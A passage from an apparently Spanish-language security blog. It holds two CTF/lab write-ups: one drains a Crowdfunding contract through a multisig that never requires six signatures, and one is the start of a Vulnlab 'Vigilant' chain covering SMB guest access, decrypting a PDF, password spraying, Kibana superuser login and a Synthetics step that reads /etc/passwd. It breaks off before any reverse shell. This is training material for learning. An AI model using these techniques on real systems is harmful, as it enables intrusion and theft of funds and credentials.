ETH_RPC_URL='94.237.53.203:47563'
</code></pre>
<p>Con eso configurado, descargue el challenge y dejé todo listo para empezar. El árbol de archivos en mi carpeta quedó así:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022172911/b9b02652-350c-40d1-98a9-6866f540356b.png" alt class="image--center mx-auto" /></p>
<p>Acá es donde voy a empezar a leer y entender bien la lógica del sistema de votación y la función crítica <code>closeCampaign()</code> que es, básicamente, donde va a estar el bug que nos permite vaciar los fondos.</p>
<h2 id="heading-campaignsol"><strong>Campaign.sol</strong></h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.18;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">ECDSA</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./lib/ECDSA.sol"</span>;

<span class="hljs-comment">/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address</span>
<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CouncilWallet</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">ECDSA</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">bytes32</span></span>;

    <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">public</span> councilMembers;

    <span class="hljs-comment">/// @notice Register the 11 council members in the wallet</span>
    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> members</span>) </span>{
        <span class="hljs-built_in">require</span>(members.<span class="hljs-built_in">length</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">11</span>);
        councilMembers <span class="hljs-operator">=</span> members;
    }

    <span class="hljs-comment">/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">closeCampaign</span>(<span class="hljs-params"><span class="hljs-keyword">bytes</span>[] <span class="hljs-keyword">memory</span> signatures, <span class="hljs-keyword">address</span> to, <span class="hljs-keyword">address</span> <span class="hljs-keyword">payable</span> crowdfundingContract</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> voters <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">address</span>[](<span class="hljs-number">6</span>);
        <span class="hljs-keyword">bytes32</span> data <span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encode</span>(to));

        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> signatures.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-comment">// Get signer address</span>
            <span class="hljs-keyword">address</span> signer <span class="hljs-operator">=</span> data.toEthSignedMessageHash().recover(signatures[i]);

            <span class="hljs-comment">// Ensure that signer is part of Council and has not already signed</span>
            <span class="hljs-built_in">require</span>(signer <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), <span class="hljs-string">"Invalid signature"</span>);
            <span class="hljs-built_in">require</span>(_contains(councilMembers, signer), <span class="hljs-string">"Not council member"</span>);
            <span class="hljs-built_in">require</span>(<span class="hljs-operator">!</span>_contains(voters, signer), <span class="hljs-string">"Duplicate signature"</span>);

            <span class="hljs-comment">// Keep track of addresses that have already signed</span>
            voters[i] <span class="hljs-operator">=</span> signer;
            <span class="hljs-comment">// 6 signatures are enough to proceed with `closeCampaign` execution</span>
            <span class="hljs-keyword">if</span> (i <span class="hljs-operator">&gt;</span> <span class="hljs-number">5</span>) {
                <span class="hljs-keyword">break</span>;
            }
        }

        Crowdfunding(crowdfundingContract).closeCampaign(to);
    }

    <span class="hljs-comment">/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">_contains</span>(<span class="hljs-params"><span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> _array, <span class="hljs-keyword">address</span> _address</span>) <span class="hljs-title"><span class="hljs-keyword">private</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> _array.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-keyword">if</span> (_array[i] <span class="hljs-operator">=</span><span class="hljs-operator">=</span> _address) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
            }
        }
        <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Crowdfunding</span> </span>{
    <span class="hljs-keyword">address</span> owner;

    <span class="hljs-keyword">uint256</span> <span class="hljs-keyword">public</span> <span class="hljs-keyword">constant</span> TARGET_FUNDS <span class="hljs-operator">=</span> <span class="hljs-number">1000</span> <span class="hljs-literal">ether</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _multisigWallet</span>) </span>{
        owner <span class="hljs-operator">=</span> _multisigWallet;
    }

    <span class="hljs-function"><span class="hljs-keyword">receive</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{}

    <span class="hljs-comment">/// @notice Delete contract and transfer funds to specified address. Can only be called by owner</span>
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">closeCampaign</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> owner, <span class="hljs-string">"Only owner"</span>);
        <span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(to));
    }
}
</code></pre>
<h2 id="heading-setupsol"><strong>Setup.sol</strong></h2>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: UNLICENSED</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> 0.8.18;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Crowdfunding</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Campaign.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">CouncilWallet</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"./Campaign.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Setup</span> </span>{
    Crowdfunding <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> TARGET;
    CouncilWallet <span class="hljs-keyword">public</span> <span class="hljs-keyword">immutable</span> WALLET;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">payable</span></span> </span>{
        <span class="hljs-comment">// Generate the councilMember array</span>
        <span class="hljs-comment">// which contains the addresses of the council members that control the multi sig wallet.</span>
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> councilMembers <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> <span class="hljs-keyword">address</span>[](<span class="hljs-number">11</span>);
        <span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint256</span> i <span class="hljs-operator">=</span> <span class="hljs-number">0</span>; i <span class="hljs-operator">&lt;</span> <span class="hljs-number">11</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            councilMembers[i] <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-keyword">uint160</span>(i));
        }

        WALLET <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> CouncilWallet(councilMembers);
        TARGET <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> Crowdfunding(<span class="hljs-keyword">address</span>(WALLET));

        <span class="hljs-comment">// Transfer enough funds to reach the campaing's goal.</span>
        (<span class="hljs-keyword">bool</span> success,) <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(TARGET).<span class="hljs-built_in">call</span>{<span class="hljs-built_in">value</span>: <span class="hljs-number">1100</span> <span class="hljs-literal">ether</span>}(<span class="hljs-string">""</span>);
        <span class="hljs-built_in">require</span>(success, <span class="hljs-string">"Transfer failed"</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">isSolved</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">return</span> <span class="hljs-keyword">address</span>(TARGET).<span class="hljs-built_in">balance</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>;
    }
}
</code></pre>
<h2 id="heading-entendiendo-el-objetivo-y-su-logica"><strong>Entendiendo el objetivo y su lógica</strong></h2>
<p>El objetivo basicamente es: <strong>vaciar el contrato Crowdfunding</strong> para que <em>isSolved()</em> de <strong>true</strong>.<br />Esto se evalua en <strong>SETUP.SOL</strong>:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022223845/99162a8a-bb7f-44eb-b8f1-028cc36e2cbb.png" alt class="image--center mx-auto" /></p>
<p>Ese <strong>TARGET</strong> es simplemente una instancia del contrato de <strong>Crowdfunding</strong> a la que se le transfirieron <strong>1100 ETH</strong> cuando se deployea el <strong>SETUP</strong>. Osea, hay platita y hay que robarla.</p>
<h2 id="heading-podemos-interactuar-directo-con-crowdfunding"><strong>¿Podemos interactuar directo con</strong> <code>Crowdfunding</code>?</h2>
<p>Nop. El contrato <strong>Crowdfunding</strong> (que está definido dentro del archivo <code>Campaign.sol</code>), tiene una funcion publica llamada <code>closeCampaign(address to)</code> pero esta protegida como “Only owner”. Y el único que puede pasar esa verificación es el <code>CouncilWallet</code>, que fue seteado como owner durante el deployment.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022246691/f424f6bf-c992-4516-a8d7-1a75cc88a719.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-el-bug"><strong>El Bug?</strong></h2>
<p>Cuando miraba la función <code>closeCampaign</code> dentro de <code>CouncilWallet</code>, en un principio parece segura. Te pide una lista de firmas, chequea que cada firma sea de un miembro del consejo, que no esten duplicadas, etc.</p>
<p>Sin embargo hay un pequeño detalle interesante y es que <strong>en ningun momento se valida que haya al menos 6 firmas en el array!</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022275220/7436bdfc-76c5-4bca-bc76-aa04c6cb0671.png" alt class="image--center mx-auto" /></p>
<p>Ese <code>if (i &gt; 5)</code> corta el loop si ya se tiene 6 firmas, pero <strong>no exige que las haya!</strong>. Esto valida que podriamos enviar una lista totalmente vacia haciendo que no se chequee nada.. luego se terminaria llamando a:</p>
<pre><code class="lang-solidity">Crowdfunding(crowdfundingContract).closeCampaign(to);
</code></pre>
<p>Y como <code>CouncilWallet</code> es el owner del contrato <code>Crowdfunding</code>, la llamada pasa el <code>require(msg.sender == owner)</code>, y se ejecuta:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">selfdestruct</span>(<span class="hljs-keyword">payable</span>(to));
</code></pre>
<p>Por ende, se destruye el contrato y manda los <strong>1100 ETH</strong> a donde le digamos.</p>
<h2 id="heading-explotacion"><strong>Explotacion</strong></h2>
<p>Entonces, la solucion es mas simple de lo que parece.. Solo hay que hacer una llamada a <code>closeCampaign(...)</code> desde nuestro address con los siguientes requisitos:</p>
<ul>
<li><p>Un array vacío (<code>[]</code>) como firma</p>
</li>
<li><p>La dirección <code>CouncilWallet</code> como destino (para simplificar, se podria usar nuestro address tambien si queres recuperar los fondos, pero como el reto nos pide que el balance de <code>Crowdfunding</code> sea 0, con CouncilWallet alcanza)</p>
</li>
<li><p>Y por ultimo la address del contrato <code>Crowdfunding</code></p>
</li>
</ul>
<pre><code class="lang-solidity">cast send $Wallet <span class="hljs-string">'closeCampaign(bytes[] memory, address, address)'</span> <span class="hljs-string">'[]'</span> $Wallet $Crowdfunding <span class="hljs-operator">-</span><span class="hljs-operator">-</span><span class="hljs-keyword">private</span><span class="hljs-operator">-</span>key $Private
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022307894/0d2b2d29-c264-45b9-a38a-05253091e8e5.png" alt class="image--center mx-auto" /></p>
<p>Si verificamos la funcion <em>isSolved()</em>:</p>
<pre><code class="lang-solidity">cast call $Setup <span class="hljs-string">'isSolved() (bool)'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022322348/bd10fb6a-46c7-42cd-9949-dc6cd671c3ea.png" alt class="image--center mx-auto" /></p>
<p>Nos da <strong>TRUE</strong>, solo resta ir por nuestra flag :)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754022330059/cc08d1cc-3589-4deb-88ab-24acae185649.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[Vigilant - Writeup (Vulnlab)]]></title><description><![CDATA[██╗░░░██╗██╗░██████╗░██╗██╗░░░░░░█████╗░███╗░░██╗████████╗
██║░░░██║██║██╔════╝░██║██║░░░░░██╔══██╗████╗░██║╚══██╔══╝
╚██╗░██╔╝██║██║░░██╗░██║██║░░░░░███████║██╔██╗██║░░░██║░░░
░╚████╔╝░██║██║░░╚██╗██║██║░░░░░██╔══██║██║╚████║░░░██║░░░
░░╚██╔╝░░██║╚█...]]></description><link>https://myhack.tech/vigilant-writeup-vulnlab</link><guid isPermaLink="true">https://myhack.tech/vigilant-writeup-vulnlab</guid><category><![CDATA[Writeup]]></category><category><![CDATA[Linux]]></category><dc:creator><![CDATA[shkz]]></dc:creator><pubDate>Sun, 02 Feb 2025 03:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1754019760607/63541892-dbd6-498f-90a6-c53192c8ee5f.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<pre><code class="lang-bash">
██╗░░░██╗██╗░██████╗░██╗██╗░░░░░░█████╗░███╗░░██╗████████╗
██║░░░██║██║██╔════╝░██║██║░░░░░██╔══██╗████╗░██║╚══██╔══╝
╚██╗░██╔╝██║██║░░██╗░██║██║░░░░░███████║██╔██╗██║░░░██║░░░
░╚████╔╝░██║██║░░╚██╗██║██║░░░░░██╔══██║██║╚████║░░░██║░░░
░░╚██╔╝░░██║╚██████╔╝██║███████╗██║░░██║██║░╚███║░░░██║░░░
░░░╚═╝░░░╚═╝░╚═════╝░╚═╝╚══════╝╚═╝░░╚═╝╚═╝░░╚══╝░░░╚═╝░░░

<span class="hljs-comment"># CHAIN | HARD</span>
</code></pre>
<h2 id="heading-info-amp-nmap"><strong>INFO &amp; NMAP</strong></h2>
<pre><code class="lang-bash"><span class="hljs-comment"># User</span>
- Decrypt the PDF &amp; <span class="hljs-built_in">log</span> into Kibana (Usernames <span class="hljs-keyword">in</span> Kibana are case-sensitive)
- Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)
- Escape the container


<span class="hljs-comment"># Root</span>
- Look into ADCS
</code></pre>
<h2 id="heading-1010222101-windows"><strong>10.10.222.101 | WINDOWS</strong></h2>
<pre><code class="lang-bash">PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
3389/tcp  open  ms-wbt-server
5601/tcp  open  esmagent
8220/tcp  open  unknown
9200/tcp  open  wap-wsp
9389/tcp  open  adws
49664/tcp open  unknown
49670/tcp open  unknown
49672/tcp open  unknown
61915/tcp open  unknown
61924/tcp open  unknown
61935/tcp open  unknown
61948/tcp open  unknown
62022/tcp open  unknown
</code></pre>
<h2 id="heading-1010253102-linux"><strong>10.10.253.102 | LINUX</strong></h2>
<pre><code class="lang-bash">PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 96:c0:d7:90:bb:cc:77:16:c6:e1:a5:03:f1:ca:5c:25 (ECDSA)
|_  256 12:23:db:bb:d8:56:3e:14:19:71:04:34:2c:22:49:65 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Vigilant Cybersecurity
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre>
<h1 id="heading-foothold"><strong>FOOTHOLD</strong></h1>
<h3 id="heading-smb"><strong>SMB</strong></h3>
<p>Como no tenemos credenciales, lo primero que hago es enumerar <strong>SMB</strong> en busca de algún tipo de acceso. Verifico que el usuario <strong>GUEST</strong> está habilitado:</p>
<pre><code class="lang-bash">nxc smb 10.10.222.101 -u <span class="hljs-string">'guest'</span> -p <span class="hljs-string">''</span> --shares
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017494843/34e3271f-4a17-4b1b-8ecb-4b4c3e032e8b.png" alt class="image--center mx-auto" /></p>
<p>Se encuentran dos carpetas, pero la más interesante y con contenido es <strong>ITShare</strong>:</p>
<pre><code class="lang-bash">smbclient //10.10.222.101/ITShare -U 10.10.222.101\guest%<span class="hljs-string">''</span>
</code></pre>
<p>Al parecer el contenido está relacionado con reportes y auditoría en AD, así que descargo todo para analizarlo localmente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017514769/dc9b2646-1b4c-4e07-9306-e1ade8ea2cf8.png" alt class="image--center mx-auto" /></p>
<p>Para bajar todo sin que me pida confirmación en cada archivo:</p>
<pre><code class="lang-bash">recurse on
prompt off
mget *
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017532570/ed8bfa66-b892-4532-b422-0bf5d924788a.png" alt class="image--center mx-auto" /></p>
<p>Dentro de la carpeta <strong>IT_Support/ADAuditReports</strong> hay un <em>pdf</em> <code>Password_Strength_Report_encrypted.pdf</code> el cual parece estar encriptado.</p>
<p>Intenté crackearlo sin éxito, así que lo dejo por ahora y me enfoco en los otros archivos.<br />Busco referencias a palabras clave como <strong>username</strong> o <strong>password</strong> que puedan ayudarme a acceder al <em>PDF</em> u otro recurso:</p>
<pre><code class="lang-bash">grep -rniE <span class="hljs-string">"username|password"</span> .
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017548136/17a47567-abe6-44a7-b2f8-28aecc4e2f9a.png" alt class="image--center mx-auto" /></p>
<p>Al revisar <strong>ADAudit.DLL</strong> con <strong>dnSpy</strong> (emulándolo con <em>WINE</em> en mi caso), veo funciones de encriptado y chequeo de contraseñas débiles desde un <code>.txt</code>. Lo mas importante es que encuentro credenciales:</p>
<h2 id="heading-credenciales-encontradas"><strong>Credenciales encontradas</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017562461/e5f10b73-bf35-4446-b365-d9926ffc4aff.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-funcion-de-encriptado-de-archivos"><strong>Funcion de Encriptado de archivos:</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017573201/0b82f300-7bd6-401b-bcda-76bd5cb3dfe2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-bloodhound-python-y-desencriptando-el-pdf-report-file"><strong>Bloodhound Python y Desencriptando el PDF Report file</strong></h2>
<p>A partir de ahora contamos con dos posibles caminos, en principio enumero el AD para tener un mejor enfoque del entorno, con bloodhound-python obtengo la informacion para revisarla luego:</p>
<pre><code class="lang-bash">bloodhound-python -u <span class="hljs-string">"svc_auditreporter"</span> -p <span class="hljs-string">"&lt;REDACTED&gt;"</span> -ns 10.10.222.101 -d <span class="hljs-string">"vigilant.vl"</span> -c all --dns-tcp --zip
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017610712/64820cad-2da0-446a-a498-8a21579c037a.png" alt class="image--center mx-auto" /></p>
<p>Por otro lado, es posible tratar de crear un binario para revertir la funcion de encriptado que habiamos encontrado reverseando el <strong>DLL</strong> del Audit, y asi poder abrir el archivo del PDF Report.</p>
<p>Este es el codigo final que me funciono:</p>
<pre><code class="lang-bash">using System;
using System.IO;

namespace ninja_decoder
{
    internal class HiddenOps
    {
        static void Main(string[] args)
        {
            DecryptData(<span class="hljs-string">"Password_Strength_Report_encrypted.pdf"</span>, <span class="hljs-string">"pdf_desencriptado.pdf"</span>);
        }

        static byte[] K(int s)
        {
            byte[] b = new byte[s];
            new Random(12345).NextBytes(b);
            <span class="hljs-built_in">return</span> b;
        }

        static void S(ref byte[] d)
        {
            <span class="hljs-keyword">for</span> (int i = 0; i &lt; d.Length - 1; i += 2)
            {
                byte t = d[i];
                d[i] = d[i + 1];
                d[i + 1] = t;
            }
        }

        public static void EncryptData(string iF, string oF)
        {
            <span class="hljs-keyword">if</span> (!File.Exists(iF)) throw new FileNotFoundException();
            byte[] c = File.ReadAllBytes(iF), k = K(c.Length);
            <span class="hljs-keyword">for</span> (int i = 0; i &lt; c.Length; i++)
            {
                c[i] ^= k[i % k.Length];
                c[i] = (byte)((c[i] &lt;&lt; 4) | (c[i] &gt;&gt; 4));
            }
            S(ref c);
            File.WriteAllBytes(oF, c);
        }

        public static void DecryptData(string iF, string oF)
        {
            <span class="hljs-keyword">if</span> (!File.Exists(iF)) throw new FileNotFoundException();
            byte[] c = File.ReadAllBytes(iF), k = K(c.Length);
            S(ref c);
            <span class="hljs-keyword">for</span> (int i = 0; i &lt; c.Length; i++)
            {
                c[i] = (byte)((c[i] &lt;&lt; 4) | (c[i] &gt;&gt; 4));
                c[i] ^= k[i % k.Length];
            }
            File.WriteAllBytes(oF, c);
        }
    }
}
</code></pre>
<p>Desde un sistema Linux puede ser rapidamente compilado y ejecutado con mono, no hace falta un Windows:</p>
<pre><code class="lang-bash">mcs -out:decoPdf.exe decoPdf.cs
mono decoPdf.exe
</code></pre>
<p>Finalmente podemos obtener el contenido del archivo que para sorpresa nuestra contiene varias credenciales:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017653669/7e29ec38-4755-4b61-afee-4f0ee7316b02.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-spraying-de-credenciales"><strong>Spraying de credenciales</strong></h2>
<p>Guardo las credenciales en <code>users.txt</code> y <code>pass.txt</code>, y hago un spraying:</p>
<pre><code class="lang-bash">nxc smb 10.10.222.101 -u users.txt -p pass.txt --shares --continue-on-success
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017673371/62483c1c-d66c-4fd9-9537-5ad05900309a.png" alt class="image--center mx-auto" /></p>
<p>Veo que la password de <strong>Pamela.Clark</strong> expiró en <em>Windows</em>, pero en <em>Linux</em> sigue funcionando. Intento loguear con:</p>
<blockquote>
<p><code>Pamela.Clark@vigilant.vl</code></p>
</blockquote>
<p>Por ende probamos el ingreso y nos dice que tenemos que cambiarla, seteo uno nuevo y logueamos:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017858931/67e23f60-9882-448c-bf41-cd8f2e223586.png" alt class="image--center mx-auto" /></p>
<p>Una vez dentro, veo rastros de un <strong>Docker/Elastic Agent</strong> corriendo y referenciado al Domain Controller:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017869324/550c5e7e-467d-4cdd-bcca-5d54b98e8645.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017886613/a223a216-c004-41df-a3cf-1e31b2549752.png" alt class="image--center mx-auto" /></p>
<p><strong>Elastic</strong>: Es una plataforma de búsqueda y análisis de datos en tiempo real. Su componente principal es Elasticsearch, que almacena, indexa y busca datos.</p>
<p><strong>Kibana</strong>: Es la interfaz gráfica de Elastic. Permite visualizar y analizar los datos de Elasticsearch con gráficos, dashboards y herramientas interactivas.</p>
<p>Esta corriendo en el puerto 5601, en el output del DC podemos verlo:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017985449/322a361d-2df0-4dd2-a0ae-70beb9db1560.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-elastickibana-5601tcp"><strong>Elastic/Kibana | 5601/tcp</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754017999462/a9190598-0f24-4819-a0d6-f04547601c6d.png" alt class="image--center mx-auto" /></p>
<p>Desde el browser accedo y reutilizo las credenciales de <strong>Pamela</strong> (las del <em>PDF</em> que habían expirado).</p>
<p>Una vez logueado lo primero que hago es revisar los roles y permisos. Vemos que Pamela tiene <strong>SUPERUSER</strong> role:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018013775/249145c3-9368-4861-b595-e419bc1cff2b.png" alt class="image--center mx-auto" /></p>
<p>Ahora que tengo acceso a Kibana con permisos de <strong>SUPERUSER</strong>, el siguiente paso es investigar los <strong>Fleet Agents</strong>, que permiten la administración centralizada de agentes Elastic en los distintos hosts del dominio..</p>
<p>Este link de referencia me ayudo bastante para entender mejor: <a target="_blank" href="https://www.elastic.co/guide/en/fleet/master/fleet-overview.html">https://www.elastic.co/guide/en/fleet/master/fleet-overview.html</a></p>
<p>Accediendo aca podemos observar los agents: <a target="_blank" href="http://dc.vigilant.vl:5601/app/fleet/agents">http://dc.vigilant.vl:5601/app/fleet/agents</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018044947/01d48fa7-16ed-4cf2-b163-05889ef7bea3.png" alt class="image--center mx-auto" /></p>
<p>Recordando las hints que daban al momento de iniciar la maquina veo que aplica lo siguiente:</p>
<ul>
<li>Get a shell via Synthetics (you will likely need the API as the UI does not allow everything)</li>
</ul>
<p><strong>Synthetics</strong> es una funcionalidad utilizada para monitorear y probar si un sitio web funciona correctamente. Permite la ejecución de scripts automatizados para simular interacciones de usuario y detectar posibles problemas de rendimiento o disponibilidad.</p>
<p>El uso de <strong>Kibana Synthetics</strong> nos permite ejecutar scripts en el entorno de Kibana. Si podemos modificar un <strong>monitor existente</strong> o crear uno nuevo con código malicioso, podríamos lograr RCE en el target.</p>
<p>Si nos dirijimos a http://dc.vigilant.vl:5601/app/synthetics, vemos lo siguiente:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018306755/bb833832-9f6f-484f-9603-f601724290ee.png" alt class="image--center mx-auto" /></p>
<p>Tenemos un monitor ya creado en la Pagina de <strong>Marketing</strong>. (Que es el server 80/http de la IP de Linux). Si probamos editar el monitor vemos que esta corriendo un script en el cual podriamos intentar modificarlo y ver que sucede:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018313951/23a777bd-1f4a-425a-a30a-14e7d2cbe19b.png" alt /></p>
<p>Intente obtener una revshell con bash, pero obtuve un mensaje de error:</p>
<p><code>Runs Synthetic test scripts that are defined inline. Monitor script is invalid. Inline scripts cannot be full journey scripts, they may only contain step definitions.</code></p>
<p>Sin embargo, si trato de hacer un <strong>LFI</strong> con <a target="_blank"><strong>file://</strong></a> funciona:</p>
<pre><code class="lang-bash">step(<span class="hljs-string">'Go to http://localhost'</span>, async () =&gt; {
  await page.goto(<span class="hljs-string">'file:///etc/passwd'</span>);
});
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754018355326/a06d4ef4-415b-4b9d-aa6c-2b90eadc312d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-creando-una-revshell-journey-via-synthetics"><strong>Creando una revshell journey via Synthetics</strong></h2>
<p>Pero como podria obtener una revshell?. Bueno perdi bastante tiempo buscando el modo para ser honesto. Luego de varias horas logre encontrarlo y es creando un journey.</p>
<p>Si queremos ejecutar código más allá de una simple verificación de carga de una página, no podemos depender solo de un <strong>monitor</strong>, ya que su función es limitada. En cambio, necesitamos un <strong>journey</strong>, que nos permite definir acciones más custom/avanzadas dentro del entorno de <strong>Synthetics</strong>, seria como un step-by-step.</p>
<p>Con un poco de ayuda de <strong>Google</strong>:</p>
<blockquote>
<p><em>Reference:</em></p>
</blockquote>
<ul>
